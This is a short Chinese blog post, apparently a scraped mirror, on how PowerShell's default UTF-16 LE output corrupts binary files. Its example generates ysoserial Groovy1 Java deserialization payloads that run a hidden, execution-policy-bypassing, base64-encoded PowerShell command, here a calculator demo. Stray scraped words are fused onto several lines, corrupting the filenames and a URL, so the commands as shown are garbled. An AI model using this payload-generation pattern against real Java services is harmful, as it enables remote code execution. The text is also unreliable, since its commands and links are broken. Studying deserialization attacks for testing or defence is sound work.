powershell 中文系統默認UTF-16 (LE) UNICODE編碼 使用時需當心

現象:html

1.cmd生成payloadjava

java -jar ysoserial.jar Groovy1 "powershell.exe -NonI -W Hidden -NoP -Exec Bypass -Enc YwBhAGwAYwA=" > payload.binshell

2.powershell生成payload學習

java -jar ysoserial.jar Groovy1 "powershell.exe -NonI -W Hidden -NoP -Exec Bypass -Enc YwBhAGwAYwA=" > payload2.binspa

第二次生成:htm

java -jar ysoserial.jar Groovy1 "powershell.exe -NonI -W Hidden -NoP -Exec Bypass -Enc YwBhAGwAYwA=" | Out-File -Encoding default payload3.binblog

3.結果對比get

4.學習cmd

https://wenku.baidu.com/view/768a052b915f804d2b16c149.htmlit

https://docs.microsoft.com/zh-cn/powershell/module/Microsoft.PowerShell.Utility/Out-File?view=powershell-6

 

 

相關文章
相關標籤/搜索